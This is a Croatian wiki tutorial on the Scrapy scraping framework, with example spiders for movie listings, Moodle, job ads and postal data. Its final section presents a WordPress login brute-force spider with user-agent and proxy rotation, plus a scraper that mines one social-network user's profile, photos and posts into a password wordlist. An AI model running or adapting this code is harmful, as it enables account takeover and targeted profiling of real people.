Scrapy python framework

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Matej Bašić


Scrapy je open-source aplikacijski razvojni okvir za vađenje i strukturiranje podataka iz web stranica te indeksiranje istih. Pisan je u Python programskom jeziku a podržava Linux, Windows, Mac i BSD operativne sustave. Primjena je široka, od rudarenja podacima do različitih vrsta testiranja i procesuiranja informacija.


Sadržaj

Uvodni primjer

Za demonstraciju jedan spider koji će prikupiti sve bolje naslove SF filmova od 2010. do danas. Za primjer ćemo koristiti tražilicu web stranice koja sadrži bogatu bazu a kako bi osigurali da se radi o kvalitetnijim filmovima, ograničiti ćemo donju granicu korisničkih ocjena na 8.0:

.../search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10

Nakon instalacije Scrapy frameworka, spremni smo napraviti novi projekt sljedećim pozivom:

$ scrapy startproject sf_movies_simple

S novim projektom automatski se kreiraju potrebni direktoriji i datoteke. Klasu kojom definiramo spider za naše potrebe sačuvati ćemo u datoteci imdb_sf_spiders.py u sf_movies_simple direktoriju:

import scrapy
class MovieSfSpider(scrapy.Spider):
       name="movie_sf"
       allowed_domains=["site.com"]   
       start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10"]
       
       def parse(self, response):
                for el in response.xpath("//table[@class='results']//td[@class='title']"):
                       title = str(el.xpath("a/text()").extract().pop())
                       year = str(el.xpath("span[@class='year_type']/text()").re("\d+").pop())
                       rating = str(el.xpath("div[@class='user_rating']/div/span[@class='rating-rating']/span[@class='value']/text()").extract().pop())
                       print title, "(", year, ", ", rating, ")"


Novokreirani spider sadrži atribut name jedinstvene vrijednosti koji koristimo prilikom pokretanja, allowed_domains, listu domena na kojima spider može prikupljati podatke, i start_urls, listu početnih URL-ova. Također definiramo parse() metodu u kojoj obrađujemo Response objekt za svaki definirani URL u start_urls. Ako pogledamo izvor obrađivane stranice možemo zamijetiti da se rezultati pretraživanja nalaze u tablici klase 'results' i da se sve bitne informacije nalaze u ćelijama klase 'title'. Iz svake od njih preuzeti ćemo naslov, godinu i korisničku ocjenu. Svaki poziv xpath() vraća SelectorList instancu na temelju proslijeđenog upita dok extract() vraća listu unicode stringova koju pohranjujemo u varijablu. Kod godine koristimo metodu re(). Naime, unutar span elementa klase 'year_type' nalazi se godina i tip (npr. “(2013 TV Movie)“) stoga pomoću te metode koja za upit prima regularni izraz (eng. regular expression) filtriramo godinu. Također vraća listu unicode stringova. Kreirani spider pokrećemo naredbom scrapy crawl spider_name:

$ scrapy crawl movie_sf

Te u terminalu dobivamo sljedeći rezultat:

...
[imdb_sf] DEBUG: Crawled (200) <GET http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015
 &title_type=tv_movie&user_rating=8.0,10> (referer: None)
The Selection ( 2013 , 8.5 )
Robot Chicken: Star Wars Episode III ( 2010 , 8.1 )
Vastra Investigates ( 2012 , 8.1 )
The Sixth Gun ( 2013 , 8.2 )
D-TEC: Pilot ( 2013 , 8.7 )
Ghosts/Aliens ( 2010 , 8.7 )
The Rusty Bucket Kids: Lincoln, Journey to 16 ( 2010 , 8.9 )
Advent ( 2011 , 8.2 )
Araneum ( 2010 , 8.5 )
Quest for the Indie Tube ( 2011 , 8.0 )
Before: Zombie Etiquette ( 2011 , 9.1 )
3% ( 2011 , 8.1 )
Bezci ( 2014 , 8.2 )
[imdb_sf] INFO: Closing spider (finished)
...

Ako želimo rezultate pohraniti, moramo prvo kreirati Item klasu u items.py datoteci koja se automatski kreira prilikom postavljanja projekta a nalazi se u korijenskom direktoriju projekta. Unutar te klase definiramo atribute kao scrapy.Field objekte:

import scrapy
class SfMovieItem(scrapy.Item):
       title = scrapy.Field()
       year = scrapy.Field()
       rating = scrapy.Field()

Kako bi svaki rezultat pohranili kao SfMovieItem, moramo ažurirati i imdb_sf_spider.py:

import scrapy
from sf_movies_simple.items import SfMovieItem
class MovieSfSpider(scrapy.Spider):
       name="movie_sf"
       allowed_domains=["site.com"]     
       start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10"]
       
       def parse(self, response):
               for el in response.xpath("//table[@class='results']//td[@class='title']"):
                       item = SfMovieItem()
                       item['title'] = el.xpath("a/text()").extract()
                       item['year'] = el.xpath("span[@class='year_type']/text()").re("\d+")
                       item['rating'] = el.xpath("div[@class='user_rating']/div/span[@class='rating-rating']/span[@class='value']/text()").extract()
                       yield item

Kako bi opet pokrenuli spider i sačuvali rezultate u npr. movies.json datoteci pozivamo sljedeću naredbu:

$ scrapy crawl movie_sf -o movies.json

Sada iste rezultate imamo pohranjene u datoteci movies.json u korijenskom direktoriju projekta.
Detaljnije o razvojnom okviru u sljedećim poglavljima.


Instalacija

Preduvjeti za instalaciju Scrapy Python razvojnog okvira (v0.24.0) su sljedeći:

Nakon zadovoljavanja preduvjeta, Scrapy instaliramo sljedećim pozivom:

$ pip install Scrapy

Ukoliko koristimo Windows OS, potreban nam je i pywin32 (Python for Windows Extensions).

Osnove

Sa Scrapy razvojnim okvirom uglavnom upravljamo preko alata naredbene linije (eng. command-line tool) naredbom scrapy. Naredba se sastoji od nekoliko opcija a neke od njih možemo koristiti i izvan projekta. Popis raspoloživih opcija možemo vidjeti pozivom naredbe scrapy:

$ scrapy
Scrapy 0.24.4 - project: sf_movies_simple
Usage:
  scrapy <command> [options] [args]
Available commands:
  bench         Run quick benchmark test
  check         Check spider contracts
  crawl         Run a spider
  deploy        Deploy project in Scrapyd target
  edit          Edit spider
  fetch         Fetch a URL using the Scrapy downloader
  genspider     Generate new spider using pre-defined templates
  list          List available spiders
  parse         Parse URL (using its spider) and print the results
  runspider     Run a self-contained spider (without creating a project)
  settings      Get settings values
  shell         Interactive scraping console
  startproject  Create new project
  version       Print Scrapy version
  view          Open URL in browser, as seen by Scrapy

Kreiranje novog projekta

U uvodnom primjeru već smo pokazali korištenje opcije startproject kojom kreiramo novi projekt i sve pripadajuće datoteke i direktorije:

$ scrapy startproject project_name

Struktura projekta

scrapy.cfg – konfiguracijska datoteka projekta
project_name/ - python modul projekta
   __init__.py
   items.py – datoteka u kojoj definiramo Item objekte
   pipelines.py  - datoteka u kojoj definiramo Pipeline objekte
   settings.py – postavke porokejta
   spiders/ - direktorij u kojem pohranjujemo spidere
      __init__.py
      spider_name.py – datoteka u kojoj definiramo spider

Kreiranje novog spidera

Osim što novi spider možemo kreirati "ručno", kreiranjem nove datoteke u spiders direktoriju, također ih možemo kreirati pozivom scrapy genspider naredbe:

scrapy genspider [-t template] <name> <domain>

Scrapy podržava više vrsta spidera te za svaki od njih postoji predložak. Podržane vrste možemo doznati sljedećim pozivom:

$ scrapy genspider -l
Available templates:
  basic
  crawl
  csvfeed
  xmlfeed

Primjer kreiranja osnovnog spidera:

$ scrapy genspider –t basic basic_spider google.hr

Kreirane spidere možemo ažurirati naredbom scrapy edit spider_name.

Pokretanje spidera

Već smo u uvodnom primjeru pokazali naredbu crawl koja se može koristiti samo unutar projekta:

$ scrapy crawl spider_name

Spider možemo pokrenuti i izvan projekta:

$ scrapy runspider spider_name.py

Ispis raspoloživih spidera

Naredbom scrapy list ispisujemo sve raspoložive spidera unutar projekta.

Dohvaćanje URL-a

Sljedećom naredbom dohvaćamo definirani URL i ispisujemo HTML sadržaj istog:

$ scrapy fetch http://www.google.hr

Naime HTML koji Scrapy skida ne mora biti isti kao i onaj kojeg možemo vidjeti u web pregledniku jer često sami preglednici dodaju određene HTML elemente i Scrapy također ne izvršava JavaScript kod. Ako naredbu koristimo unutar projekta možemo definirati i koji spider da koristimo:

$ scrapy fetch –spider=spider_name http://www.google.hr

Testiranje

Ukoliko želimo testirani određeni URL bez pokretanja spidera, to možemo učinit pomoću interaktivne ljuske:

$ scrapy shell http://www.google.hr

Ljuska je zapravo regularna Python konzola s par mogućnosti koje nam pomažu u radu sa Scrapyem. Pozivanjem shelp() metode ispisujemo te dodatne metode i objekte:

In [1]: shelp()
[s] Available Scrapy objects:
[s]   crawler    <scrapy.crawler.Crawler object at 0x7fcf4bb5a290>
[s]   item       {}
[s]   request    <GET http://www.google.hr>
[s]   response   <200 http://www.google.hr>
[s]   settings   <scrapy.settings.Settings object at 0x7fcf511c7450>
[s]   spider     <Spider 'default' at 0x7fcf4fab8590>
[s] Useful shortcuts:
[s]   shelp()           Shell help (print this help)
[s]   fetch(req_or_url) Fetch request (or URL) and update local objects
[s]   view(response)    View response in a browser

Iz prethodnog ispisa možemo vidjeti da se u ljusci automatski kreiraju Request i Response objekti na koje možemo testirati npr. XPath upite:

In [6]: response.xpath("//a[@id='gb_70']").extract()
Out[6]: [u'<a target="_top" id="gb_70" href="https://accounts.google.com/ServiceLogin?hl=hr&continue=http://www.google.hr/" class="gb4">Prijavite  se</a>']

Ili ispisati HTTP header polja:

In [13]: request.headers
Out[13]:
{'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 'Accept-Encoding': 'gzip,deflate',
 'Accept-Language': 'en',
 'User-Agent': 'Scrapy/0.24.4 (+http://scrapy.org)'}

Za izlaz iz ljuske koristi se Ctrl+D prečac. XPath upite također možemo testirati i pomoću Firefox preglednika odnosno njegovog Firebug dodatka.

Spiders

U Scrapy razvojnom okviru spideri su klase koje definiraju kako će se određena stranica odnosno stranice obrađivati. Skidanje, obrada i pohranjivanje stranica obično slijede slijedeće korake:

Argumenti

Spider također može primiti i argumente putem scrapy crawl naredbe:

scrapy crawl spider_name –a arg_name=arg_value

U primjeru iz uvoda uvesti ćemo četiri nova argumenta:

$ scrapy crawl movie_sf -o movies.json -a r_date_start=2008 -a r_date_end=2012 -a u_rating_min=6.0 -a u_rating_max=9.5

A da bi to radilo trebamo ažurirati i spider:

...
class MovieSfSpider(scrapy.Spider):
       name="movie_sf"
       allowed_domains=["site.com"]
       def __init__(self, r_date_start = 2010, r_date_end = 2015, u_rating_min = 8.0, u_rating_max = 10, *args, **kwargs):
               super(MovieSfSpider, self).__init__(*args, **kwargs)
               self.start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=%s,%s&title_type=tv_movie&user_rating=%s,%s"  

% (r_date_start, r_date_end, u_rating_min, u_rating_max)]

       def parse(self, response):
...

Podklase

Spomenuli smo da Scrapy podržava više podvrsta spidera. Njihov cilj je pružiti određene funkcionalnosti za specifične slučajeve kao obradu XML-a, Sitemapa i slično.

Spider

Najjednostavnija i osnovna verzija spidera koju nasljeđuju sve ostale. Ne sadrži posebne funkcionalnosti, a većina atributa i metoda spomenuta je i prije.

Atributi:

Metode:

Primjer

U ovom primjeru koristimo Scrapy za ispis kolegija sa sustava za e-učenje Moodle. U primjeru je korištena spomenuta start_requests() metoda koja vraća Request objekt (isto bi dobili korištenje atributa start_urls, metoda je ovdje čisto zbog demonstracije). parse() metoda vraća posebnu vrstu Request objekta, FormRequest, s korisničkim imenom i lozinkom te u metodi after_login() obrađuje se početna stranica sustava e-učenja ako je prijava uspješna.

import scrapy
from scrapy import log

class MoodleNewsSpider(scrapy.Spider):
       		name = "moodle_news"
       		def start_requests(self):
               		return [scrapy.Request(url='https://login.moodle.hr/login/index.php')]

                       def parse(self, response):
               		self.log("Loggin in...", level=log.INFO)
               		return scrapy.FormRequest.from_response(
                       			response,
                       			formdata={ 'username' : 'user' , 'password' : 'pass' },
                       			callback=self.after_login
               		)

       		def after_login(self, response):
               		#print response.body
               		if "Moja naslovnica" in response.body:
                  	     		self.log("Login successful", level=log.INFO)
                       			for sel in response.xpath("//div[@class='course_list']/div[@class='box coursebox']"):
                               			print sel.css("h2").xpath("child::a//text()").extract()
                       			return
               		else:
                       			self.log("Login failed", level=log.ERROR)
                       			return

Crawl Spider

Često korišten za obradu regularnih web stranica jer pruža mehanizme za praćenje poveznica na temelju definiranih pravila. Osim atributa i metoda koje nasljeđuje od Spider klase, sadrži sljedeće:

Atributi:

Metode:

Primjer

U ovom primjeru prikupljaju se svi poslovi IT kategorije (category=11) s portala moj-posao.net. U atributu rules definirali smo pravilo da pratimo samo poveznice koje sadrže '/Posao/'. S tih stranica vadi se naziv posla, pozicija, lokacija te spomenuti jezici odnosno tehnolgije i poslodavac, ako postoje.

import scrapy
from scrapy.contrib.linkextractors import LinkExtractor
from scrapy.contrib.spiders import CrawlSpider, Rule
import json
from mojposao.items import MojposaoItem

class ItPosloviSpider(CrawlSpider):
	name = 'it_poslovi'
	allowed_domains = ['moj-posao.net']
	file = "stranice.json"
	comp_data = " "	
	rules = [Rule(LinkExtractor(allow='/Posao/'), callback="parse_item")]	
	
	def __init__(self, *args, **kwargs):
		# pohrana liste jezika u comp_data
               # pohrana proslijedjenih linkova u start_urls atributu	
	
	def add_lang(self, job, lang):
		lang = lang.strip()
		if lang != "":
			if bool(job['langs']) == False:
				job['langs'] = lang
			else:	 
                		job['langs'] += ", " + lang                 
						
	def parse_item(self, response):
		print "parse_item"
		job = MojposaoItem()
	
		temp =  response.xpath("//section[@id='page-title']/h1/span/text()").extract().pop().encode('utf-8').rsplit(" - ", 1)
		job['title'] = temp[0].strip()
		job['location'] = temp[1].strip()
		job['langs'] = ""

		employerTemp = response.xpath("//div[@id='employer']/ul/li/strong/text()").extract()
		if (employerTemp):
			job['employer'] = employerTemp.pop().encode('utf-8')

		body = response.xpath("//section[@id='job-detail']/descendant::*/text()").extract()
		job_txt = ""
		for el in body:
			job_txt += el
		job_txt = job_txt.upper().replace(",", " ").replace(".", " ").replace(";", " ")
		
		for item in self.comp_data:
			if item['t'] in job_txt:
				self.add_lang(job, item['t'])
			
			elif "alt" in item and item['alt'] in job_txt:
				self.add_lang(job, item['t'])
		
		yield job

Prikazani spider poziva se iz drugog spidera koji dohvaća sve URL-ove stranica na kojima se nalaze oglasi.

import scrapy
from scrapy.exceptions import CloseSpider
from scrapy.xlib.pydispatch import dispatcher
from scrapy import signals
from scrapy.settings import Settings

from mojposao.spiders.it_poslovi import ItPosloviSpider
from mojposao.items import UrlItem

class ItStraniceSpider(scrapy.Spider):
	name = 'it_stranice'
	allowed_domains = ['moj-posao.net']
	start_urls = ['http://www.moj-posao.net/Pretraga-Poslova/?category=11']
	
	def __init__(self, *args, **kwargs):
		super(ItStraniceSpider, self).__init__(*args, **kwargs)
		dispatcher.connect(self.spider_closed, signals.spider_closed)
     
	def parse(self, response):
		...
	
	def spider_closed(self, spider):
		crawler = Crawler(Settings())
		crawler.configure()
		crawler.crawl(ItPosloviSpider())
		crawler.start()

Rezultat:

<items>
   ...
   <item>
      <langs></langs>
      <employer>AZTEK, d.o.o. za projektiranje, savjetovanje i usluge</employer>
      <location>Zagreb</location>
      <title>Projektant telekomunikacijskih sustava, elektroinstalacija i tehničke zaštite (m/ž)</title>
   </item>
   <item>
      <langs>JAVASCRIPT, JAVA, HTML, CSS, PLSQL, SQL</langs>
      <employer>DEKOD d.o.o.</employer>
      <location>Koprivnica, Zagreb</location>
      <title>Programer / projektant (m/ž)</title>
   </item>
   <item>
      <langs>C#, JAVASCRIPT, PHP, ASP, HTML, CSS, PYTHON, RUBY</langs>
      <employer>STATIM d.o.o. za računalne djelatnosti i usluge</employer>
      <location>Split</location>
      <title>Web developer (m/ž)</title>
   </item>
   ...
</items>

XMLFeed Spider

Dizajniran za obradu XML datoteka iterirajući kroz njih na temelju određenog imena čvora odnosno elementa. Za to možemo koristiti jedan od tri iteratora: iternodes, xml i html. Prepruča se prvi jer ostala dva generiraju cijeli DOM prije obrade, ali u slučaju grešaka u XML datoteci, preporuča se html.

Atributi:

Metode:

Primjer

U ovom primjeru dohvaćamo nazive gradova sa stranice posta.hr na kojoj se nalaze popisi svih poštanskih ureda u XML datoteci.

from scrapy.contrib.spiders import XMLFeedSpider
from gradovi.items import GradoviItem

class PostaGradoviSpider(XMLFeedSpider):
   name = 'posta_gradovi'
   allowed_domains = ['posta.hr']
   start_urls = ['http://www.posta.hr/mjestaRh.aspx?vrsta=xml']
   iterator = 'iternodes'
   itertag = 'mjesto'

   def parse_node(self, response, selector):
       i = GradoviItem()
       i['ime'] = selector.select('nazivPu').xpath('text()').extract().pop()
       return i

Kako bi ignorirali duplikate u datoteci pipelines.py (automatski se kreira s projektom) definiramo novi Item Pipeline pod nazivom GradoviPipeline:

from scrapy.exceptions import DropItem

class GradoviPipeline(object):
       def __init__(self):
               self.locations_seen = set()

       def process_item(self, item, spider):
               if item['ime'] in self.locations_seen:
                       raise DropItem("Duplicate location found: %s" % item['ime'])
               else:
                       self.locations_seen.add(item['ime'])
                       return item

CSVFeedSpider

Sličan XMLFeedSpideru, samo što iterira kroz redove, a ne čvorove.

Atributi:

Metode:

SitemapSpider

Koristi se za obradu stranica otkrivanjem URL-ova koristeći mapu Web mjesta. Podržava ugniježđene mape i otkrivanje URL-ova mape iz robots.txt datoteke.

Atributi:

Selectors

Nativni mehanizam za izvlačenje podataka, kreiran na temelju lxml biblioteke.

$ scrapy shell http://www.en.wikipedia.org/wiki/Scrapy
  ...
  2015-01-17 04:57:11-0500 [default] DEBUG: Crawled (200) <GET http://en.wikipedia.org/wiki/Scrapy> (referer: None)
  ... 
  In [1]: response.selector.xpath("//div[@id='bodyContent']")
  Out[1]: [<Selector xpath="//div[@id='bodyContent']" data=u'<div id="bodyContent" class="mw-body-con'>]
 

Metode koje smo već u prethodnim primjerima demonstrirali, xpath(), css(), re() i execute(), dio su Selector klase. Da ponovimo, xpath() vraća SelectorList instancu na temelju proslijeđenog upita dok css() vraća isto na temelju CSS upita. Pomoću re() metode koja za upit prima regularni izraz (eng. regular expression) filtriramo listu. extract() vraća listu unicode stringova. Iako se preporuča, ne moramo koristiti selector prečac:

In [2]: response.xpath("//div[@id='bodyContent']")
Out[2]: [<Selector xpath="//div[@id='bodyContent']" data=u'<div id="bodyContent" class="mw-body-con'>]

In [3]: response.xpath("//div[@id='bodyContent']").extract()
Out[3]: [u'<!--- HTML CONTENT --->']

SelectorList

Podklasa list klase. Elementi liste su Selector objekti. Također sadrži xpath(), css(), re(), extract() metode koje se pozivaju za svaki element liste. Metode vraćaju SelectorList odnosno u slučaju re() i extract() metode, listu unicode stringova.

Items

Glavni cilj Scrapy Python razvojnog okvira je keriranje strukturiranih podatak za što koristimo Item klasu u items.py datoteci koja se automatski kreira prilikom postavljanja projekta. Unutar te klase definiramo atribute kao Field objekte koji su zapravo ništa drugo nego Python dictionary.
Za demonstraciju koristi ćemo Item definira u uvodnom primjeru:

import scrapy
class SfMovieItem(scrapy.Item):
       title = scrapy.Field()
       year = scrapy.Field()
       rating = scrapy.Field()

$ scrapy shell
  ...
  In [1]: from  sf_movies_cat.items import SfMovieItem
  In [2]: item = SfMovieItem(title='Naslov', year='2020')
  In [3]: print item
  {'title': 'Naslov', 'year': '2020'}
  In [4]: item['title']
  Out[4]: 'Naslov'
  In [5]: item.get('title')
  Out[5]: 'Naslov'
  In [6]: item.items()
  Out[6]: [('year', '2020'), ('title', 'Naslov')]
  In [7]: item.fields
  Out[7]: {'rating': {}, 'title': {}, 'year': {}}
  In [8]: item['rating'] = 8.9
  In [9]: item.items()
  Out[9]: [('rating', 8.9), ('year', '2020'), ('title', 'Naslov')]

Item Pipeline

Svaki Item proslijeđuje se Item Pipeline dijelu Scrapy razvojnog okvira, nakon obrade od strane spidera. Item Pipeline predstavljen je klasom koja implementira nekoliko metoda: process_item() - poziva se za svaki proslijeđeni item, open_spider() i close_spider(), metode koje se pozivaju prilikom pokretanja i kraja rada spidera. Item Pipeline se koristi uglavnom za čićenje HTML-a, validaciju podataka te provjeru duplikata kao što je prikazano u primjeru.

Ostalo

Dictionary attack

Scrapy možemo koristi za razne stvari, pored vađenja podataka, indeksiranja, možemo ga iskoristi i za dictionary attack. Slijedeći primjer pokazuje kako iskoristiti Scrapy za napad na stranicu koja koristi WordPress CMS:

class WpAtckSpider(scrapy.Spider):
       name = "wp_atck"
   	download_delay = 2 # atribut Spider klase, definira razmak između poziva u sekundama
	user = ""
	curr_pwd = ""
       pwd_perms = []
	it = None
	dict = []
		
	def __init__(self, file=None, *args, **kwargs):
		super(IskraSpider, self).__init__(*args, **kwargs)
		#citanje i pohrana potencijalnih lozinki u dict

	def form_req(self):
		return [FormRequest(url='http://site.com/wp-login.php', formdata={"log":self.user, 
                           "pwd":self.curr_pwd }, method="POST", dont_filter=True, callback=self.parse)]

 	def start_requests(self):
		return self.form_req()
       
       def set_pwd_perms(self, new_pwd):
               # zamijene znakova, dodavanje sufiksa, prefiksa (brojevi, posebni znakovi)
               # vraća listu lozinki kreiranih na temelju new_pwd
       
  	def parse(self, response):
		if "/wp-admin/profile.php" in response.url:
			log.msg("WIN: %s" %(self.curr_pwd), level = log.INFO)

		else:
                        if len(self.pwd_perms) == 0:
                               self.pwd_perms = set_pwd_perms(self.it.next())
                        self.curr_pwd = self.pwd_perms.pop()
			log.msg("Failed with %s" %(self.curr_pwd), level = log.INFO)
			return self.form_req()

Također smo u mogućnosti mijenjati vrijednosti polja HTTP zaglavlja kao što je npr. User Agent ali i koristit proxy što je za ovaj primjer prikladno. U korijenskom direktoriju kreiramo novu datoteku middleware.py:

class RandomUAMiddleware(object):
	def process_request(self, request, spider):
		ua = random.choice(settings.get('USER_AGENT_LIST'))
		if ua:
			request.headers.setdefault('User-Agent', ua)

class ProxyMiddleware(object):
	def process_request(self, request, spider):
		request.meta['proxy'] = 'http://proxy_prv.com:PORT'
		proxy_up = 'USER:PASS'
		encoded_up = base64.encodestring(proxy_up)
		request.headers['Proxy-Authorization'] = 'Basic ' + encoded_up

Kreirane klase moramo prijaviti Scrapy razvojnom okviru u settings.py datoteci te kreirati listu iz kojeg se dohvaćaju User Agent stringovi u klasi RandomUAMiddleware:

USER_AGENT_LIST = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0',
 ...
]
DOWNLOADER_MIDDLEWARES = {
'wp_dic_atck.middlewares.RandomUAMiddleware': 400,
'wp_dic_atck.middlewares.ProxyMiddleware': 500,
'scrapy.contrib.downloadermiddleware.httpproxy.HttpProxyMiddleware': 600,
'scrapy.contrib.downloadermiddleware.useragent.UserAgentMiddleware': None,
} 

Dictionary scraper

Sljedeći primjer kreira listu često korištenih riječi od strane definiranog korisnika jedne društvene mreže. Spider prolazi kroz profil korisnika te vadi bitne podatke. Kreirana lista može se koristiti u prethodnom primjeru (79% web korisnika uključuje osobne podatke u lozinkama) uz listu najkorištenijih riječi u lozinkama.

class DictSpiderSpider(scrapy.Spider):
	name = "dict_spider"
	site = 'https://site.com'
	start_urls = [site + '/login.php']
	
 	email = "" 
	password = ""  # kao i email, koristi se ako se zelimo prijaviti kao korisnik mreze
	user=""  # naziv korisnika cije podatke vadimo
	filename = "dict.txt"
	min_occur = 2  # minimalni br potrebnog pojavljivanja da bi rijec ukljucili u listu
	min_length = 4  # minimalno duzina rijeci koje zelimo 
	
	dict = []
	curr_post_id = 3

	def spider_closed(self, spider):
               # poziva se prilikom zavrsetka rada spidera
               # filtira dict po min_occur atributu te ga ispisuje u txt datoteku
	

	
       def parse(self, response):
		 if len(self.email) > 0 and len(self.password) > 0:
			return [scrapy.FormRequest.from_response(response, formname="login_form", formdata={'email':self.email,   
                               'pass':self.password}, callback=self.after_login)]
		 elif len(self.user) > 0:
			return [scrapy.Request(url= self.site + '/' + self.user + '?v=info', callback=self.get_basic_data)]
			 
	

       # vadi osnovne podatke o korisniku
       # na kraju vraca request s callback funkcijom 
       # za skeniranje fotografija(opisa) te postova 
	def get_basic_data(self, response):
		ns = response.xpath("//div[@id='root']/div/div[1]//strong/text()").extract()
		...	
		nn = response.xpath("//div[@id='root']/div/div[@id='nicknames']//table//td[2]//text()").extract()
		
		self.extract_common(ns)
		...
		self.extract_common(nn)
           
		bio = response.xpath("//div[@id='root']/div/div[@id='bio']/div/div[2]/div/text()").extract()
		qs = response.xpath("//div[@id='root']/div/div[@id='quote']/div/div[2]/div/text()").extract()
		
		self.extract_keywords(self.sel_to_str(bio))
		self.extract_keywords(self.sel_to_str(qs))
		
		yield scrapy.Request(url= self.site + '/' + self.user + '?v=photos', callback=self.set_pics_crawl)
		yield scrapy.Request(url= self.site + '/' + self.user + '?v=timeline', callback=self.set_posts_crawl)
	

 
       def extract_common(self, sel):
		# iterira kroz proslijeđeni selector objekt
               # rastavlja rijeci, filtrira i proslijedjuje ih word_to_dict(word, True) metodi



        # koristi Alchemy API za vadjenje kljucnih rijeci iz vece kolicine teksta
        # u slucaju da to nije moguce, jednostavno rastavlja tekst na rijeci

	def extract_keywords(self, text):
		alchemyapi = AlchemyAPI()
		response = alchemyapi.keywords("text", text)
		
		if response["status"] == "OK" and "keywords" in response:
			for keyword in response["keywords"]:
				txt = keyword["text"].encode("utf-8").split(" ")
				for i in txt:
					self.word_to_dict(i)
		else:
			text = text.encode("utf-8").split(" ")
			for t in text:
				self.word_to_dict(t)



	# u slucaju da rijec (npr. ime, prezime, imena clanova obitelji,...) 
        # ima max prioritet dodajemo joj najvecu vrijednost pojavljivanja
        # te time osiguravamo da nece biti ignorirana pri upisu u txt datoteku
  
	def word_to_dict(self, word, max_prior = False):
		word = self.filter(word)
		if len(word) > self.min_length or max_prior == True:
			word_found = False
			for row in self.dict:				
				if row[0] == word:
					word_found = True
					if row[1] != sys.maxint:
						row[1] += 1
					break
			if word_found == False:
				if max_prior == False:
					self.dict.append([word, 1])
				else: 
					self.dict.append([word, sys.maxint])

Metode za obradu albuma korisnika:

	def set_pics_crawl(self, response):
		link_all_albums = response.xpath("//h3[contains(text(),'Albums')]/following-sibling::div[2]/a/@href").extract()
		
		if len(link_all_albums) > 0: #u slucaju da postoji vise od 6 albuma
			link = link_all_albums.pop()
			yield scrapy.Request(url= self.site + link, callback=self.get_album_pages)
		else:
			albums_links = response.xpath("//h3[contains(text(),'Albums')]/following-sibling::div[1]//a/@href").extract()
			for link in albums_links:
             			yield scrapy.Request(url= self.site + link, callback=self.get_album_pics)




       # poziva se u slucaju da postoje liste albuma
	
	def get_album_pages(self, response):
               # izvlaci linkove albuma
	        # iterira kroz stranice s linkovima albuma		
	
	
 	
	def get_album_pics(self, response):
		pic_links = response.xpath("//div[@id='root']/table//div[@id='thumbnail_area']//a/@href").extract()
		# iz stranice albuma vadi linkove fotografija
                for link in pic_links: 
			yield scrapy.Request(url= self.site + link, callback=self.get_pic_data) #vadi podatke iz opisa te ih obradjuje
		
                # ako je album veci od x fotografija poziva drugi dio albuma
		more_link = response.xpath("//div[@id='root']//div[@id='m_more_item']/a/@href").extract()
		if len(more_link) > 0:
			link = more_link.pop()
			yield scrapy.Request(url= self.site + link, callback=self.get_album_pics)
 


Metode za obradu postova korisnika:

       def set_posts_crawl(self, response):	
		if "?v=timeline" in response.url:
			next_y_link = response.xpath("//div[@id='structured_composer_async_container']/div[" + str(self.curr_post_id) +  
                                                    "]/a/@href").extract().pop().encode("utf-8")		
			yield scrapy.Request(url= self.site + next_y_link, callback=self.posts_iterator)
		
	
	
	def posts_iterator(self, response):
		post_links = response.xpath("//div[@id='structured_composer_async_container']/div[1]/div[2]/div/div//a[contains(text(), 'Full  
                                            Story')]/@href").extract()
		for link in post_links:
			if "photo.php" not in link: #to smo vec obradili
				yield scrapy.Request(url= self.site + link, callback=self.get_post_data) #metoda za obradu postova
		
		next_data = response.xpath("//div[@id='structured_composer_async_container']/div[2]/a")
		next_txt = next_data.xpath("text()").extract().pop().encode("utf-8")
		next_link = next_data.xpath("@href").extract().pop().encode("utf-8")
		
		
		if next_txt == "Show more":
			yield scrapy.Request(url= self.site + next_link, callback=self.posts_iterator)
	
		elif next_txt != "Born":
			self.curr_post_id += 1
			
			next_y_link = response.xpath("//div[@id='structured_composer_async_container']/div[" + str(self.curr_post_id) + 
                                                    "]/a/@href").extract().pop().encode("utf-8")		
			yield scrapy.Request(url= self.site + next_y_link, callback=self.posts_iterator)
		

Literatura

Scrapy Documentation, release 0.24.0. Dostupno na: https://media.readthedocs.org/pdf/scrapy/0.24/scrapy.pdf, 23.01.2015.

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima